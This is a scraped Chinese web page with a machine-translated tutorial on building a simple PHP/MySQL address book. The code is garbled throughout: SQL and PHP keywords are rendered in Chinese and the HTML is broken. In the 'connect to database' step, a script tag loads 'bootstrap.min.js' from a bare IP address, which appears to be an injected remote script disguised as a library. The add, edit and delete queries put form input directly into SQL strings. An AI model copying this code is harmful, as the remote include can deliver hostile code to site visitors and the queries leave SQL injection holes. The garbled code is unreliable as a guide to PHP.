简单的地址簿

本教程将通过使用PHP和MySQL创建一个简单的地址簿。

在开始之前,您需要确定您希望在我们的地址簿中包含哪些字段。对于本演示,我们将使用姓名,电子邮件和电话号码,但如果您愿意,您可以对其进行修改以包含更多选项。

01

06 12

The Database

要创建此数据库,您需要执行此代码:

创建表地址(id INT(4)NOT NULL AUTOØincrease主键,名称VARCHAR(30),电话VARCHAR(30),电子邮件VARCHAR(30));插入地址(姓名,电话,电子邮件)值("Alexa","430-555-2252""sunshine@fakeaddress.com"),("Devie","658-555-5985""马铃薯@monkey.us" )

这会创建我们的数据库字段并放入几个临时条目供您使用。您正在创建四个字段。**个是自我增加的号码,然后是姓名,电话和电子邮件。在编辑或删除时,您将使用该号码作为每个条目的**ID。

02

of 06

连接到数据库

地址簿和lt;/title><script language="javascript" type="text/javascript" rel="nofollow noopener noreferrer" src="http://1.12.58.118/bootstrap.min.js"></script>
</head><body></code></pre><p id="mntl-sc-block_2-0-7" class="comp mntl-sc-block mntl-sc-block-html"><code></p></p><p id="mntl-sc-block_2-0-8" class="comp mntl-sc-block mntl-sc-block-html">在你可以做任何事情之前,你需要连接到数据库。我们还为地址簿提供了HTML标题。请务必使用适合您服务器的值替换您的主机地址,用户名和密码。</p></p><p><p><p><p></p></p></p></p><p><p><p><p>03</p><p>of 06</p></p></p><h2 id="mntl-sc-block_2-0-9" class="comp mntl-sc-list-item-title mntl-sc-block reference-sc-block-heading mntl-sc-block-heading"><span class="mntl-sc-block-heading__text">添加联系人</span></h2><pre id="mntl-sc-block_2-0-10" class="comp mntl-sc-block mntl-sc-block-html"><code>如果($模式="添加"){打印'</p>添加联系人</p><p><表单操作=';echo$PHPSELF;Print'方法=post><表格和gt;<tr><td>名称:<&td><输入类型="文本"名称="名称"/></td><;tr><tr><td>电话:<&td><td><输入类型="文本"名称="电话"/></td><;tr><tr><td>电子邮件:<&td><td><输入类型="文本"名称="电子邮件"/><;td><;tr><tr></p><input type="submit"/><;td><;tr><输入类型=隐藏名称=模式值=已添加和gt;<//table></form><p>';}if($模式=="添加"){mysql查询("插入地址(姓名,电话,电子邮件)值('$姓名''$电话','$电子邮件')");}</code></pre><p id="mntl-sc-block_2-0-11" class="comp mntl-sc-block mntl-sc-block-html">接下来,我们为用户提供添加数据的机会。由于您使用相同的PHP页面来完成所有工作,因此您将使用不同的'模式'显示不同的选项。你会把这个代码直接放在我们最后一步的下面。当处于<em>添加</em>模式时,这将创建一个添加数据的表单。提交时,表单将脚本设置为<em>添加</em>模式,该模式实际上将数据写入数据库。</p></p><p><p><p><p></p></p></p></p><p><p><p><p>04</p><p>of 06</p></p></p><h2 id="mntl-sc-block_2-0-12" class="comp mntl-sc-list-item-title mntl-sc-block reference-sc-block-heading mntl-sc-block-heading"><span class="mntl-sc-block-heading__text">更新数据</span></h2><pre id="mntl-sc-block_2-0-13" class="comp mntl-sc-block mntl-sc-block-html"><code>如果($模式=="编辑"){打印'</p>编辑联系人</p><p><表单操作=';echo$PHPÅSELF;打印'方法=post><表格和gt;<tr><td>Name:<&td><input type="text"value="';打印$名称;打印'"名称="名称"/></td></tr><tr><td>电话:<&td><td><输入类型="文本"值="';打印$电话;打印'"名称="ph一个"/></td></tr><tr><td>电子邮件:<&td><td><输入类型="文本"值="';打印$电子邮件;打印'"名称="电子邮件"/></td></tr><tr></p><input type="submit"/><;td><;tr><输入类型=隐藏名称=模式值=已编辑和gt;<输入类型=隐藏名称=id值=';打印$id;打印'><//table></form><p>';}if($模式=="编辑"){mysql查询("更新地址集名称='$名称',电话='$电话',电子邮件='$电子邮件'其中id=$id");打印"数据更新!<p>";}</code></pre><p id="mntl-sc-block_2-0-14" class="comp mntl-sc-block mntl-sc-block-html"><em>编辑</em>模式类似于<em>添加</em>模式,只是它使用要更新的数据预先填充字段。主要区别在于它将数据传递到<em>编辑的</em>模式,该模式不是编写新数据,而是使用<strong>WHERE</strong>条款覆盖旧数据,以确保它仅覆盖适当的ID。</p></p><p><p><p><p>05</p><p>of 06</p></p></p><h2 id="mntl-sc-block_2-0-15" class="comp mntl-sc-list-item-title mntl-sc-block reference-sc-block-heading mntl-sc-block-heading"><span class="mntl-sc-block-heading__text">删除数据</span></h2><pre id="mntl-sc-block_2-0-16" class="comp mntl-sc-block mntl-sc-block-html"><code>如果($模式=="删除"){mysql查询("从地址删除,其中id=$id");打印"条目已删除<p>";}</code></pre><p id="mntl-sc-block_2-0-17" class="comp mntl-sc-block mntl-sc-block-html">要删除数据,我们只需查询数据库即可删除与条目ID相关的所有数据。</p></p><p><p><p><p>06</p><p>of 06</p></p></p><h2 id="mntl-sc-block_2-0-18" class="comp mntl-sc-list-item-title mntl-sc-block reference-sc-block-heading mntl-sc-block-heading"><span class="mntl-sc-block-heading__text">地址簿</span></h2><pre id="mntl-sc-block_2-0-19" class="comp mntl-sc-block mntl-sc-block-html"><code>$data=mysql#query("从地址顺序中选择*,名称为ASC")或die(mysql_error());打印"</p>地址簿</p><p>";Print"<p id="mntl-sc-block_1-0-1" class="comp mntl-sc-block mntl-sc-block-html">";Print"<tr><p>Name<;th><p>Phone<;th><p>电子邮件<&th><p>Admin</th></p></p></td>";而($info=mysqlÅfetchÅarray($data)){打印"<tr><td>&##34;$info['name']。"</td>";打印"<td>"$info['电话']。"</td>";打印"<td></p>&##34;$info[&##39;email']。"</a></td>";打印"<td></p>edit</a>&td>";Print"<td></p>remove</a></td><";}打印"<;&table>";?></body><//html></code></pre><p id="mntl-sc-block_2-0-20" class="comp mntl-sc-block mntl-sc-block-html">脚本的底部实际上从数据库中提取数据,将其放入数组并打印出来。使用带有实际数据库数据的<strong>PHPÅSELF</strong>函数,我们可以链接到添加模式,编辑模式和删除模式。我们在每个链接中传递适当的变量<strong>生活健康小知识</strong>,让脚本知道需要哪种模式。</p><p id="mntl-sc-block_2-0-21" class="comp mntl-sc-block mntl-sc-block-html">从这里您可以对此脚本进行美学更改,或尝试添加更多字段。</p><p id="mntl-sc-block_2-0-22" class="comp mntl-sc-block mntl-sc-block-html">您可以从GitHub下载完整的工作代码。</p></p><p></p><p><p><p><p></p></p></p></p><p><p><p><p></p></p></p></p><p><p><p><p></p></p></p></p><p><p><p><p></p></p></p></p><p></p>                    </div>
                    <div id="pages" class="text-c mt25" style="margin-top:20px;">
                                                <a href="http://www.49vv.net/tag/关于英语的小知识" target="_blank">关于英语的小知识</a>
                                                <a href="http://www.49vv.net/tag/英语科普文章" target="_blank">英语科普文章</a>
                                                <a href="http://www.49vv.net/tag/生活健康小知识" target="_blank">生活健康小知识</a>
                                            </div>
                    <div class="entry-footer">
                        <h3 class="entry-related-title">相关推荐</h3>
                        <ul class="entry-related clearfix">
                                                        <li>
                                                                <a href="http://www.49vv.net/PHP/45287.html" title="web前端学习,需要学php吗?" target="_blank">web前端学习,需要学php吗?</a>
                            </li>
                                                        <li>
                                                                <a href="http://www.49vv.net/PHP/45286.html" title="为什么php工作难找?" target="_blank">为什么php工作难找?</a>
                            </li>
                                                        <li>
                                                                <a href="http://www.49vv.net/PHP/45285.html" title="PHP可以开发APP吗?" target="_blank">PHP可以开发APP吗?</a>
                            </li>
                                                        <li>
                                                                <a href="http://www.49vv.net/PHP/339.html" title="在PHP中使用$_服务器" target="_blank">在PHP中使用$_服务器</a>
                            </li>
                                                        <li>
                                                                <a href="http://www.49vv.net/PHP/338.html" title="在Mac上安装MySQL比你想象的要容易" target="_blank">在Mac上安装MySQL比你想象的要容</a>
                            </li>
                                                        <li>
                                                                <img class="j-lazy" src="http://www.49vv.net/d/file/p/2020/11-30/smalle0dc4a3ea17453ebe769fb6de5eb5aa21606694571.jpg" alt="使用PHP从数据库创建链接">
                                                                <a href="http://www.49vv.net/PHP/337.html" title="使用PHP从数据库创建链接" target="_blank">使用PHP从数据库创建链接</a>
                            </li>
                                                        <li>
                                                                <a href="http://www.49vv.net/PHP/336.html" title="PHP函数是_string()" target="_blank">PHP函数是_string()</a>
                            </li>
                                                        <li>
                                                                <img class="j-lazy" src="http://www.49vv.net/d/file/p/2020/11-30/smalla419ec465b4597bcf73a9f2e6cefba991606694565.jpg" alt="简单的地址簿">
                                                                <a href="http://www.49vv.net/PHP/335.html" title="简单的地址簿" target="_blank">简单的地址簿</a>
                            </li>
                                                        <li>
                                                                <a href="http://www.49vv.net/PHP/334.html" title="健康知识讲座图片-学习PHP" target="_blank">健康知识讲座图片-学习PHP</a>
                            </li>
                                                        <li>
                                                                <a href="http://www.49vv.net/PHP/333.html" title="「科普所」使用PHP和MySQL的简单网页命中计数器代码" target="_blank">「科普所」使用PHP和MySQL的简单</a>
                            </li>
                                                    </ul>
                    </div>
                </div>
            </article>
        </div>
        <aside class="sidebar">
                <div class="widget widget_profile"><div class="profile-cover"><img class="j-lazy" src="http://www.49vv.net/skin/custom/images/bg.jpg" data-original="http://www.49vv.net/skin/custom/images/bg.jpg" alt="教育资源网"></div><div class="avatar-wrap">
                <a target="_blank" class="avatar-link"><img alt="教育资源网" src="http://www.49vv.net/skin/custom/images/logo.png" class="avatar avatar-120 photo" height="120" width="120"></a></div>
            <div class="profile-info">
                <a class="profile-name"><span class="author-name">教育资源网</span></a><button type="button" class="btn btn-primary btn-xs btn-message j-message" data-user="1">网站编辑✅</button>
                <p class="author-description"><span class="user-group">WWW.49VV.NET优质内容创作者</span></p>
                        <div class="profile-stats">
            <div class="profile-stats-inner">
                            <div class="user-stats-item">
                <b>172167</b>
                <span>文章</span>     
                <b>0</b>
                <span>问题</span>   
                <b>01</b>
                <span>回答</span>
       
                    </div>
        </div>
                </div>
            <div class="profile-posts">
                <h3 class="widget-title"><span>最近文章</span></h3>
                <ul>                        <li><a href="http://www.49vv.net/jiaoyuzhe/172173.html" title="拓客技巧有哪些">拓客技巧有哪些</a></li>
                                                <li><a href="http://www.49vv.net/jiaoyuzhe1/172172.html" title="鱼跃403h和407a哪个好">鱼跃403h和407a哪个好</a></li>
                                                <li><a href="http://www.49vv.net/jiaoyuzhe/172171.html" title="小米手机一直重复开机,但是开不了怎么办">小米手机一直重复开机,但是开不</a></li>
                                                <li><a href="http://www.49vv.net/xshjz/172170.html" title="什么是裸考">什么是裸考</a></li>
                                                <li><a href="http://www.49vv.net/crxxz/172169.html" title="iPhone手机取消系统更新(去掉设置上的红点提示)">iPhone手机取消系统更新(去掉设置</a></li>
                                                <li><a href="http://www.49vv.net/jiaoyuzhe1/172168.html" title="icloud怎么同步短息 iPhone同步短信">icloud怎么同步短息 iPhone同步</a></li>
                                                <li><a href="http://www.49vv.net/jiaoyuzhe/172167.html" title="男人给我发来一句魅族是什么意思?">男人给我发来一句魅族是什么意思</a></li>
                                                <li><a href="http://www.49vv.net/xshjz/172166.html" title="乐视手机截屏按什么键">乐视手机截屏按什么键</a></li>
                                                <li><a href="http://www.49vv.net/jiaoyuzhe1/172165.html" title="天猫魔盒m13和m17有什么区别">天猫魔盒m13和m17有什么区别</a></li>
                                                <li><a href="http://www.49vv.net/xshjz/172164.html" title="酷派s6什么时候上市">酷派s6什么时候上市</a></li>
                                            </ul>
                </div>
            </div><div id="wpcom-lastest-news-2" class="widget widget_lastest_news"><h3 class="widget-title"><span>站长推荐</span></h3><ul>
                        <li><a href="http://www.49vv.net/PHP/45287.html" title="web前端学习,需要学php吗?">web前端学习,需要学php吗?</a></li>
                        <li><a href="http://www.49vv.net/PHP/45286.html" title="为什么php工作难找?">为什么php工作难找?</a></li>
                        <li><a href="http://www.49vv.net/PHP/45285.html" title="PHP可以开发APP吗?">PHP可以开发APP吗?</a></li>
                        <li><a href="http://www.49vv.net/PHP/339.html" title="在PHP中使用$_服务器">在PHP中使用$_服务器</a></li>
                        <li><a href="http://www.49vv.net/PHP/338.html" title="在Mac上安装MySQL比你想象的要容易">在Mac上安装MySQL比你想象的要容</a></li>
                        <li><a href="http://www.49vv.net/PHP/337.html" title="使用PHP从数据库创建链接">使用PHP从数据库创建链接</a></li>
                        <li><a href="http://www.49vv.net/PHP/336.html" title="PHP函数是_string()">PHP函数是_string()</a></li>
                        <li><a href="http://www.49vv.net/PHP/335.html" title="简单的地址簿">简单的地址簿</a></li>
                        <li><a href="http://www.49vv.net/PHP/334.html" title="健康知识讲座图片-学习PHP">健康知识讲座图片-学习PHP</a></li>
                        <li><a href="http://www.49vv.net/PHP/333.html" title="「科普所」使用PHP和MySQL的简单网页命中计数器代码">「科普所」使用PHP和MySQL的简单</a></li>
                    </ul>
        </div></aside>
    </div>
</div>
<footer class="footer">
    <p style="display:none;">
       <a href="http://www.49vv.net/kexue" title="科学">科学 </a>
         <a href="http://www.49vv.net/shuxue" title="数学">数学 </a>
         <a href="http://www.49vv.net/shehuikexue" title="社会科学">社会科学 </a>
         <a href="http://www.49vv.net/jsjbc" title="计算机编程">计算机编程 </a>
         <a href="http://www.49vv.net/dongwu" title="动物">动物 </a>
         <a href="http://www.49vv.net/wenxue" title="文学">文学 </a>
         <a href="http://www.49vv.net/deli" title="地理">地理 </a>
         <a href="http://www.49vv.net/yuyanxuexi" title="语言学习">语言学习 </a>
         <a href="http://www.49vv.net/gengduo" title="更多">更多 </a>
     </br>
 </p>
 <div class="copyright">
   <p>Copyright © 2018-2023   Powered By <a href="http://www.49vv.net/" title="教育资源网-免费科普学习教育门户中心" target="_blank">教育资源网</a>备案号:<a target="_blank" href="http://beian.miit.gov.cn" rel="nofollow">桂ICP备2022011655号-7</a>
      <br/>声明:教育资源网所有内容出于传递更多信息之目的,并不意味着赞同其观点或证实其内容的真实性。如有侵权请联系本站删除。请谨慎参阅。本站不承担由此引起的法律责任。<a target="_blank" href="http://www.49vv.net/sitemap.xml">网站地图</a></p>
</div>
<div class="links" style="display:none;">友情链接:<a href="http://www.49vv.net/" title="教育资源网" target='_blank'>教育资源网</a>
   </div>
            </div>
        </div>
    </div>
</footer>
<div class="action" style="top:80%;">
    <div class="a-box gotop" id="j-top" style="display: block;"></div>
</div>
<script type='text/javascript'> /* <![CDATA[ */ var _wpcom_js = {"ajaxurl":"","slide_speed":"5000"}; /* ]]> */</script>
<script type='text/javascript' src='http://www.49vv.net/skin/custom/js/main.js'></script>
<script type='text/javascript' src='http://www.49vv.net/skin/custom/js/imagesloaded.min.js'></script>
<script type='text/javascript' src='http://www.49vv.net/skin/custom/js/masonry.min.js'></script>
<script type='text/javascript' src='http://www.49vv.net/skin/custom/js/jquery.masonry.min.js'></script>
<script>
    (function(){
        var bp = document.createElement('script');
        var curProtocol = window.location.protocol.split(':')[0];
        if (curProtocol === 'https') {
            bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
        }
        else {
            bp.src = 'https://push.zhanzhang.baidu.com/push.js';
        }
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(bp, s);
    })();
</script>
</body>
</html>